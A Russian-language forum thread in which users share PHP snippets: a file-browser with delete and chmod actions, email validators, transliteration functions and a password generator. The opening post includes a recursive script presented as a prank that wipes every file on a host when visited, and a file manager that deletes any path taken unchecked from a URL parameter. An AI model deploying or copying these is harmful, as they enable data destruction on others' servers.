Полезные решения на: php / mysq / js

Статус
В этой теме нельзя размещать новые ответы.

sesharim

Знаток
Регистрация
3 Окт 2006
Сообщения
299
Реакции
29
Помню, был такой топик, не знаю как другим, но мне очень помог. Предлагаю возродить. Я ранее даже распечатывал интересные решения по коду.

PHP:
<?
#include("dbconnect.php");

$do = $_GET['auction'];
switch ($do) {
    case 'delete';
    if (filetype($_GET['filename']) == "file") {
        unlink($_GET['filename']);
    } elseif(filetype($_GET['filename']) == "dir") {
        rmdir($_GET['filename']);
    }
    break;
    
    case 'chmod';
    if (filetype($_GET['filename']) == "file") {
        chmod($_GET['filename'], 0755);
    } elseif(filetype($_GET['filename']) == "dir") {
        chmod($_GET['filename'], 0755);
    }
    break;
    
    default:
    break;
}

echo "
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">
    <html>
    <head>
        <title>dir</title>
        <meta http-equiv=\"Content-Type\" content=\"text/htm\"; charset=\"windows-1251\">
        <link rel=\"stylesheet\" href=\"styles.css\" type=\"text/css\">
    </head>
    <body>";
        echo "
            <table align=\"center\" cellpadding=\"0\" cellspacing=\"1\" width=\"600\" class=\"tbl-border\">
            <tr>
                <td class=\"tbl2\" align=\"center\">Имя файла</td><td class=\"tbl2\" align=\"center\">Действие</td></tr>";
if ($handle = opendir('.')) {
    while (false !== ($file = readdir($handle))) { 
    if ($file != "." && $file != ".." && $file != "Thumbs.db" && $file != "index.php" && $file != "styles.css" && $file != "error_log" && $file != "install.php.nulled") { 
    $size = round(filesize($file)/1024);
        echo "
            <tr>
                <td align=\"center\" class=\"tbl1\">
                <a href=\"$file\" title=\" Тип: ".filetype($dir . $file)." \n Размер: $size \n Директория: ".getcwd()."\" target=\"_blank\">".$file."</a></td><td class=\"tbl1\" align=\"center\"> [<a href=\"?auction=delete&filename=".$file."\">Delete ".filetype($dir . $file)."</a> <b>|</b> <a href=\"?auction=chmod&filename=".$file."\">Chmod ".filetype($dir . $file)." (0755)</a>]
                </td>
            </tr>"; 
        } 
    }
closedir($handle); 
}
        echo "</table>";    
echo "
    </body>
    </html>";
?>
код, указанный ваше показывает все файлы в папке кроме стилей, и т.д. Удобно просматривать файлы в папке, выдавать права, и удалять папки и файлы.

PHP:
<?php

function remove_directory($dir) {
  if ($handle = opendir("$dir")) {
    while (false !== ($item = readdir($handle))) {
      if ($item != "." && $item != ".." && $item != "index.php") {
        if (is_dir("$dir/$item")) {
          remove_directory("$dir/$item");
        } else {
          unlink("$dir/$item");
          echo "-- Удаленно: $dir/$item <br>\n";
        }
      }
    }
    closedir($handle);
    rmdir($dir);
    echo "- Удаленно: $dir <br>\n";
  }
}

remove_directory(".");

?>
выше не большое "западло". Закидываем скрипт на хост, заходим, и скрипт сносит всё что находит. Правда если не ошибаюсь надо chmod(0755);

Скидываем любые скрипты на php / mysql / js, которые вам помогли, любое полезное решение. ;)

Добавлено через 5 минут
кстати, интересует mysql класс, где все select, update, delete и т.д в наличие, хотелось-бы рассмотреть пару классов. Если что - прикрепляете.
 
  • Заблокирован
  • #2
миниPHPшки в записную книжку:
Проверка валидности адресай e-mail
PHP:
    if(!preg_match("/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*$/i", $address)) {
      $message = "<strong>Error</strong>: An invalid email address was provided.";
    }
Транслитерация
PHP:
<?php
    function transliteration ($string, $as_text = false) {
        //замена знаков
        $string = str_replace (array('Ь', 'ь', 'Ъ', 'ъ'), '', $string);
        $string_from_array = array ('ё',  'ж',  'ц',  'ч',  'ш',  'щ',   'ю',  'я', 'Ё',  'Ж',  'Ц',  'Ч',  'Ш',  'Щ',   'Ю',  'Я');
        $string_to_array   = array ('yo', 'zh', 'ts', 'ch', 'sh', 'sch', 'yu', 'ya', 'Yo', 'Zh', 'Ts', 'Ch', 'Sh', 'Sch', 'Yu', 'Ya');
        $string_from       = 'йцукенгзхфывапролдэсмитбЙЦУКЕНГЗХФЫВАПРОЛДЭСМИТБ';
        $string_to         = 'jcukengzhfyvaproldesmitbJCUKENGZHFYVAPROLDESMITB';
        $string            = str_replace ($string_from_array, $string_to_array, $string);
        $string            = strtr ($string, $string_from, $string_to);
        //корректное имя файла
        if ($as_text == false) {
            $string = strtolower(preg_replace ('/\s+/', '_', $string));
            $string = preg_replace ('/[^a-z0-9_\-]/', '', $string);
        }
        return $string;
    }
 
PHP:
function valid_mail($mail)
{
	return eregi('^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,4})$', $mail);
}
моя функция проверки почты
 
Генерация дружественных пользовательских паролей заданной длинны:
PHP:
function gen_passwd ($len) 
{
 $res = '';
 $useChars = '23456789ABCDEFGHKMNPQ';
 $useChars .= 'RSTUVWXYZabcdefghkmnpqrstuvwxyz';
 for ($i = 0; $i < $len; $i++ ) 
 {
  $res .= $useChars[mt_rand (0,strlen($useChars)-1)];
 }
 return $res;
}
Преимуществом метода является то, что в сгенерированном пароле нет сомнительных цифр и букв (l,1, 0,O). А скорость в данном случае не критична, хотя вполне можно в первом примере заменить mt_rand на shuffle, тогда еще и цикл уберется – это сделает код изящнее. Правда криптостойкость варианта с shuffle значительно ниже. Но те, кому нужна действительно эффективная безопасность пользуются другим функциями, правда? :)
 
функция транслитерации по ГОСТ 7.79-2000
PHP:
function rus_to_translite($string){
 $arrayConvert=array("а"=>"a","к"=>"k","х"=>"kh","б"=>"b","л"=>"l","ц"=>"c","в"=>"v","м"=>"m","ч"=>"ch","г"=>"g","н"=>"n","ш"=>"sh","д"=>"d","о"=>"o","щ"=>"shh","е"=>"e","п"=>"p","ъ"=>"\"","ё"=>"jo","р"=>"r","ы"=>"y","ж"=>"zh","с"=>"s","ь"=>"'","з"=>"z","т"=>"t","э"=>"eh","и"=>"i","у"=>"u","ю"=>"ju","й"=>"jj","ф"=>"f","я"=>"ja","А"=>"A","К"=>"K","Х"=>"Kh","Б"=>"B","Л"=>"L","Ц"=>"C","В"=>"V","М"=>"M","Ч"=>"Ch","Г"=>"G","Н"=>"N","Ш"=>"Sh","Д"=>"D","О"=>"O","Щ"=>"Shh","Е"=>"E","П"=>"P","Ъ"=>"\"","Ё"=>"Jo","Р"=>"R","Ы"=>"Y","Ж"=>"Zh","С"=>"S","Ь"=>"'","З"=>"Z","Т"=>"T","Э"=>"Eh","И"=>"I","У"=>"U","Ю"=>"Ju","Й"=>"Jj","Ф"=>"F","Я"=>"Ja");
 return strtr($string,$arrayConvert);
}
 
  • Нравится
Реакции: efir
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху